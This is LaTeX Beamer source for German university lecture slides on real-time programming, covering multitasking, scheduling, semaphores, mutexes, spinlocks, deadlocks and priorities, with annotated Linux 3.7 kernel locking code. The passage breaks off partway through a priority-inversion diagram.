{\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] - \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - -\end{frame} - -\subsection{Echtzeitprogrammierung} - -\begin{frame} - - \showsubsection - - Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - - \bigskip - - \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:} - - \begin{itemize} - \pause - \item - ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\ - % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG - Funk- vs.\ UART-Protokoll\\ - \textarrow\ dedizierte Hardware - \pause - \item - RP6:\\ - Motorsteuerung vs.\ Anwender-Software\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}} - \pause - \item - Quadrocopter:\\ - Motorsteuerung vs.\ Sensoren-Abfrage\\ - vs.\ Funk-Fernsteuerung \dots\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\ - \pause - \item - Flugzeugkabinensimulatortür:\\ - Türsteuerung vs.\ Bedienung\\ - \textarrow\ Echtzeitbetriebssystem - \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - \pause - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\ - 1000mal pro Sekunde: Stopwatches\\ - 5mal pro Sekunde: Blinkende Power-On-LED\\ - 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\ - Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\ - Anpassung der Motorkraft in $\pm$1-Schritten - \pause - \item - Nebenbei: \only<4->{1 }Benutzerprogramm - \end{itemize} - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \newterm{Kooperatives Multitasking}\\ - Prozesse geben freiwillig Rechenzeit ab - \item - \newterm{Präemptives Multitasking}\\ - Das Betriebssystem unterbricht laufende Prozesse\\ - (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen) - \bigskip - \item - \newterm{Scheduler}\\ - Steuerprogramm, das Prozessen Rechenzeit zuteilt - \item - \newterm{Kontextwechsel}\\ - Umschalten zwischen zwei Prozessen - \item - \newterm{Round-Robin-Verfahren (Rundlauf)}\\ - Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse - \bigskip - \pause - \item - Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\ - allgemein: Zuteilung von Ressourcen - \end{itemize} - -\end{frame} - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - verschiedene Tasks werden unterschiedlich häufig aufgerufen - \item - Nebenbei: 1 Benutzerprogramm - \end{itemize} - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ - Task mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ - bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - % Aufgabe: Wo wird der Zähler heruntergezählt? - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - - \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - - \bigskip - - \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} - \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. - \pause - \item - Schadet das? - \textarrow\ - Nein. - \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. - \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\subsectionnonumber{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item<3-> - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \smallskip - \begin{onlyenv}<4> - \begin{itemize} - \item - \newterm{Latenz:} interaktive Anwendungen - \item - \newterm{Jitter:} Echtzeitanwendungen - \item - \newterm{Durchsatz:} Stapelverarbeitung - \end{itemize} - \vspace*{-3cm} - \end{onlyenv} - \item<5-> - Ressourcen reservieren:\\ - \newterm{Mutexe} - \only<6->{(= spezielle \newterm{Semaphore\/})\\} - \only<7->{\textarrow\ kommt gleich} - \item<8-> - Verschiedene Methoden\\ - der Priorisierung\\ - \textarrow\ später\\ - \strut - \item<9-> - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \pause - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren -- - Beispiel: \file{linux-3.7rc1} - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{kernel/semaphor.c}\\ - \file{drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{kernel/mutex.c}\\ - \file{drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{kernel/spinlock.c}\\ - \file{kernel/semaphor.c}, - \file{kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{40.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - \put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \pause - \bigskip - - Beispiel: Philosophenproblem - - \only<2-3>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \pause - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<4->{% - \bigskip - - Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}\pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - 